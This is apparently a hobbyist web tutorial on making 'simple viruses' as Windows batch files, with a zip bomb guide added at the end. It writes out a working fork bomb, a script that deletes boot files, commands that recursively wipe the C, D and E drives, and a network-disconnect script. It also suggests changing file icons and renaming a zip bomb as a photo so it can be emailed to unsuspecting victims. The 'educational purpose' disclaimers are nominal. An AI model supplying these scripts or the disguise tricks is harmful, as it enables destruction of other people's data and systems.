How to make 5 simple Viruses

#1)How To Make The Simplest Virus – Fork Bomb

Launching fork bomb will lead to total CPU jam by opening about 500 process of command prompt .
CPU usage will be overloaded and computer will freeze.

1) Launch notepad and type

%0|%0

2) Save as .bat , for example Roshan.bat

3) Launch .bat file that you created in step 2 , once a successful fork bomb has activated in a system, one may have to reboot to resume normal operation.

#2) How To make A virus That Will Make 1,000 Folders In Few Seconds

Here I will teach you simple virus that will make an unlimmited amount of folders in any place you want.
Step 1 : Open notepad and type :
 
 @echo off
:top
md %random%
goto top

@echo off
 makes it so that it appears to be a blank screen but actually its making hundreds of folder.

md %random%
 is command that creating folders with random names.

goto top - return to label :top , infinite loop

Step 2 : Save it as 1000folders.bat

Step 3 : Right click on icon and click Create Shortcut.

Step 4 : Right click on shortcut and click properties , then click on Change Icon and rename icon.

#3)How to stop someone's internet

@Echo off
Ipconfig /release

Save that as a .bat and send it to someone. They're IP address will be lost, and therefore they won't be able to fix it

However, this is VERY easy to fix. 
          Simply type in IPconfig /renew in cmd.

#4) How to crash a PC Forever 

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Open up notepad and copy and paste above codes. Save it as a roshan.bat file.
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.

REMEMBER - DO NOT CLICK THIS FILE.

#5) Format all drives in few sec
 Process:
Open Notepad
Copy the below command there
"rd/s/q D:\
rd/s/q C:\
rd/s/q E:\" ( without quotes )
Save as "anything.bat
This virus Formats the C ,D , and E Drive in 3 Seconds.

Note: Don't practice this kind of tricks as it will destroy your computer or can cause serious problem. We are not responsible for any kinds of harms done after practicing above tutorial. Its only for educational purpose. Hacking is strictly prohibited.

[ Tutorial ] Make a Zip Bomb

   

    Let’s take a look at how to create your very own zip bomb. It’s soo easy :

In WINDOWS 

• Open up a text editor.
• Start typing zeros (0).Many times. just keep the button pressed. Nearly keep your button pressed till it reached 1000 times.
• Now select the whole thing (CTRL+A) and copy (CTRL+C) and paste(CTRL+V). And paste it many times till it reaches millions of Zeros.Do it slowly because some low powered systems may start hanging or lagging because of tooo many Zeros. So be careful and keep going.

Save it and close your text editor.

• Go to the folder where your text file is stored, make around as many copies as you want ( many copies will make bomb size bigger) copies of the text file in the same folder. 

• Now open up a command prompt where your text file is stored and.     

           type:   copy /b *.txt combined.txt

• What this does is combine all the copies of the text files into one.  Using the command line, everything happens as a background process without a hiccup.
•  Combining ten files of 10MB will yield one 100MB file, combine ten copies of that and you have a 1GB text file full of zeros in just a few seconds.Continue the process if you want more bigger size but remember your system will hang on though. 
• Now, open up your compression app (any if you have WinZip, WinRar, 7-zip etc.) and compress the text file.
• Hold on to your dropping jaw as you’ll likely see a compression rate of around 99.9% (1000 times reduction in file size), the 1 GB file would be around 1 MB compressed.
• Now some final step of copy-pasting is left. Make a dozen or so copies of the zip file. Now zip them again. 
• Make a few copies of this new zip file and zip all the copies.Keep on compressing all the copied folders. Be sure that now your 1 copy of file become 1gb, So if you are a begineer copy only 3-4 times and Compress/zip it.
• And there we go. 

          In this way you can create a zip bomb of your own sizes. This tutorial is for windows, but you can also make it in Linux through the following steps :

In LINUX

  ▶ Type the following in Terminal of Linux

      dd if=/dev/zero bs=1000 count=1000000 | gzip >test.gz

      Send it to your friends and it will definitely annoy them . Use some creativity and rename the text file into some thing like My first letter for you.jpg and compress it and E-mail  to your friends.

   You must also know about the most famous zip bomb in the internet. Its is named as 42.zip (type password as 42 while extracting it,  as it is locked to prevent from newbie) 

 Here is the link for some famous zip bomb :

  ⏩ 42.zip --------Download here

          (actual size=4.3gb)

       

If you go on extracting all files, you will run out of space.

Note: This article is for educational purpose only.  Any harms or loss occured after learning from here is not our fault 

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